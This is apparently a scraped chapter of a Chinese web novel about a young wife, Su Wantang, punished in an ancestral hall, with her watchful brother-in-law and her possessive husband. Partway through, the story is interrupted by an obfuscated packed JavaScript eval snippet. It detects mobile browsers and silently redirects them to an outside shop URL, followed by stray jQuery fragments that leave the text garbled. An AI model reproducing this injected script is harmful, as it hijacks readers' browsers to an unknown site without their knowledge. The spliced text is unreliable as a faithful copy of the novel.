苏婉棠此时已经在祠堂跪了三个时辰了。她跪在祠堂的砖地上,面色发白,一日粒米未进,豆大的汗珠从额头落下。她今日来了月事,加之素日身体不好,又跪了这么久,一时撑不住,捂住腹部倒在了地上。
沈氏派了丫鬟来看着她,名为照顾,实为监视。丫鬟踢了踢苏婉棠:“快起来,老夫人可是让你跪上整整一夜的。”
苏婉棠脸色惨白,显然是晕了过去。丫鬟见她没应,更大力地踢了踢她的肩膀:“快起来,别装死。”
苏婉棠逐渐回神,强撑着精神爬了起来。此刻沈氏站在门外笑了一下,她身侧站的是她的女儿萧芷柔。沈氏有一张瘦脸和细眼睛,嘴唇抿成一条直线,而萧芷柔是天生的圆脸圆眼睛,二人怎么看也不像母女。
“母亲,我们这样是不是太过分了。”萧芷柔牵了牵沈氏的袖子。
“芷柔啊,你要知道,若不是她,嫁给你表哥的就会是你。你不是一直爱慕你表哥吗?你总不想做妾吧。我们要把她逼走才行。”沈氏摸了摸萧芷柔的头发。
萧芷柔垂下眼睛,没再说话。
沈氏牵起她的手:“好孩子,娘知道你善良,可娘做这一切都是为了你好。”
“可表嫂和表兄关系很好,娘,我们不该这样。而且,万一表嫂去找表兄报信怎么办?”
“萧亦安能护着她多久?他总有不在的时候。这不过才成婚一个月,三年呢,五年呢,他还会因为爱而选择苏婉棠吗?至于报信,她不会去的。她这样出身的人,活得谨小慎微,最怕惹麻烦。她就算打碎了牙往肚子里咽,也不会给萧亦安报信的——她怎会为了自己,让萧亦安放下公务赶回来救她?”
“萧亦安迟早会知道,只有你才是最适合他的人。”
萧芷柔一脸担心地看着苏婉棠。
西厢房内,萧砚之已经端坐在桌前整整一日了。正午刺眼的日光落在他身上,接着太阳落下,月亮又升起。
一整天,西厢房内都不见苏婉棠的踪迹。
骗子。
萧砚之锁上门,蹲在地上,双手环住膝盖。那个女人明明说过会来看他的。
万一她是被什么绊住了呢?也许是萧亦安不让她来?
萧砚之躺在床上,最后还是认清了现实——不过是苏婉棠随口一句哄他的话,他却当了真。
可他还是不自觉地想,她是不是出了什么事?
他站在门口,手落在门把上,最后还是推开了门。
片刻后,他一身黑衣,出现在苏婉棠的房门口。
屋内房门紧闭,只有一个小丫鬟在埋头痛哭。萧砚之送食盒的时候见过她,认出了她是苏婉棠的贴身丫鬟。
“你们夫人呢?”他如鬼魅一般出现在喜樱身后。
“啊!”喜樱刚想尖叫,萧砚之便将刀架在她脖子上,“闭嘴。再叫我杀了你。你们夫人呢?”
“夫人——”喜樱后背一凉,脖颈上的刀又逼近了几分。她最后说出了实情,哭得不成样子,“夫人在祠堂罚跪。”
祠堂外,沈氏和萧芷柔已经离开了,看守的丫鬟也打起了盹,靠在门框上昏昏欲睡。
苏婉棠揉了揉酸疼的膝盖,咬着牙直起腰杆。这时祠堂的窗户被推开了,萧砚之一身黑衣走了进来。
夜晚的祠堂阴森冷清,空荡荡的屋内仅有一盏烛灯照亮,面前是供奉的排位。苏婉棠单薄的身躯跪在地上,任由地上的凉气浸透她的骨骼。
萧砚之站在苏婉棠面前。苏婉棠起初视线模糊,她看着那熟悉的眉眼,眼眶渐渐湿润。
“夫君,你回来了。”她苍白的脸上扯出一丝笑容,下一秒,便倒在了地上。
萧砚之的眼神冰冷,没有伸手扶她:“抱歉让你失望了,来的不是你的好夫君。”
苏婉棠眨了眨眼,这才看清眼前的人是谁。她强撑着起身,继续跪在地上。
“你怎么会在这?”她垂下眼睫,想起了和萧砚之的约定,“我没有去看你,抱歉……我明日会去看你的。”
苏婉棠左顾右盼,催促他离开。而萧砚之站在原地不动,他看得分明——苏婉棠认出是他那一刻,脸上有多失望。
“你就打算一直在这里跪下去?”
苏婉棠垂下眼睫,默不作声,并没有起来的打算。
“门外的丫鬟被我打晕了,我可以带你离开。”
“我——”苏婉棠的膝盖已经麻木,她睫毛微微颤了颤,“不用了,你走吧,别让人看到你。”
“我最后再问你一遍,走,还是不走。”
苏婉棠摇了摇头:“我不想给亦安添麻烦。更何况,擅自进入祠堂,本就是我的错。”
听到这话,萧砚之头也没回地翻窗离开。
可他并没走远。他就站在窗外,盯着跪在祠堂中间的人。见她紧紧皱着眉头,小心翼翼地歇了一小下。
他靠在墙上,按了按自己的心口。
怎么会有这么笨的人。懦弱,胆小,不懂得反抗。她难道不懂逆来顺受只会招致更多的欺凌吗?
他轻轻闭上眼睛。他听力本就灵敏,能听见女人沉重的呼吸声,还有因疼痛发出的闷哼。
苏婉棠的呼吸是沉重的、缓慢的,与萧砚之的不同。是不是注定他们二人本就不是一路人?
他刻意放慢呼吸,直到二人的呼吸终于同频——可下一秒,苏婉棠的身体便倒在了地上。他刚想进去,就看到一个人冲了进来,将苏婉棠抱起。
来人是他多年未见的哥哥,萧亦安。
苏婉棠终于等到了她真正的夫君,安心地靠在他胸前,眼中闪着泪花。
窗外,萧砚之收起了搭在窗棂上的手,转身走进夜色中。
萧亦安摸了摸苏婉棠的头,眉心紧皱。屋内飘荡着淡淡的血腥味,他分不清这气味从何而来。
见苏婉棠昏迷不醒,萧亦安请了郎中。“夫人这是寒邪客于膝府,乃风寒湿痹之症。日后须仔细着阴雨天。”
萧亦安抚摸着苏婉棠的脸:“这病会一辈子跟着她吗?”
“恐怕是。”郎中小心翼翼地抬头,生怕萧亦安发难。
“好,你下去吧。”萧亦安面色平静。郎中心想,萧大人果然和传闻中一样,为人宽厚。
郎中走后,萧亦安静静看着苏婉棠的脸。
“你不能背叛我,婉棠。我只有你了。”
第二天醒来,苏婉棠只觉得膝盖像灌了石头一样,怎么也站不起来。萧亦安刚下朝回来,就看到她倒在地上。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836287|211436||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“婉棠,当心。”
“夫君——你昨晚怎么回来了?”
“出了这么大的事,怎能不告诉我?喜樱派人送了信,我一收到就赶了回来。”
“我不想给你添麻烦。毕竟沈氏也是长辈,这件事,确实是我做错了。”苏婉棠靠在萧亦安怀中,“我的膝盖——”
“别慌,只是这几日不能走动,过几日便好了。”
“那就好。”苏婉棠心中的石头落了地,她笑了笑,“若是我变成了瘸子,夫君不要我了怎么办?”
“怎么会?那刚好,除了我身边,你哪里都去不了。”
苏婉棠只当萧亦安在逗她:“夫君真会说笑。”
“夫人,昨夜祠堂除了你,有人来过吗?”
“没有啊。”苏婉棠僵了一下,随即笑了笑。
“我进祠堂时闻到了血腥气。说来也巧,前几日你身上也有这股味道,你说是后厨杀鸡染上的。”
“可后厨那天,没有杀鸡。”萧亦安面上带着笑,语气平静。
“我来了月事,身上自然有血腥气。至于前几日……我也记不得了。”苏婉棠笑得有些僵硬,攥了攥袖口。
“夫人每日操劳,记错了也是常事。后院那日杀了一只兔子——夫人真是糊涂了,鸡和兔子都分不清。”
说完这句话,喜樱便走了进来:“夫人,该喝药了。”
苏婉棠松了一口气,就着喜樱的手一口口喝药。萧亦安起身出门,临走前不忘替她掖好被角。
“喜樱,昨夜你为何告诉亦安?下次别这样了。夫君刚刚升官,我不想他因为我的事分心。”
“娘子,我没有告诉姑爷啊。”喜樱顿了一下,“娘子,我昨晚遇见了一个很奇怪的男人,他用刀逼问我您在哪,我便告诉他了。是不是他说的啊?”
苏婉棠心中有了一个人选,却不敢确定。
苏婉棠一连在床上待了好几天,这期间都是由萧亦安来照顾她。
“夫君,我的身体好一些了,你不用再这样了。”苏婉棠站在地上转了一圈。
“好。”萧亦安的眼中闪过失望,“若是你一直这样就好了。”
萧亦安去宫中当值了,喜樱扶着苏婉棠出来散心。“好久没见到日光了,整日窝在屋子里,我整个人都要发霉了。”
“喜樱,你一会儿给我准备些吃食。”
半个时辰后,苏婉棠提着食盒来到了西厢房,她小心翼翼地将食盒放在地上,随后轻手轻脚地离开。
食盒中还放了一张纸条,上面写了两个字,多谢。
苏婉棠刚刚转身,门就从身后打开了。
“这么急着走?”萧砚之站在门口,语气不太好。
“门没锁。”西厢房的门,这几日从未锁过。
“多谢你那日送信给萧亦安。但下次不用了,夫君刚刚升官,我不想给他惹麻烦。”苏婉棠走进门,将食盒放在桌上。
“信?”萧砚之打开食盒,看着手中的纸条,“你是因为这个才来的?”
“让你失望了,我没送过什么信。你谢错人了。”萧砚之没有打开食盒,只是盯着苏婉棠的脸。
苏婉棠看着萧砚之的神情,不像在说谎。可若不是他,那会是谁?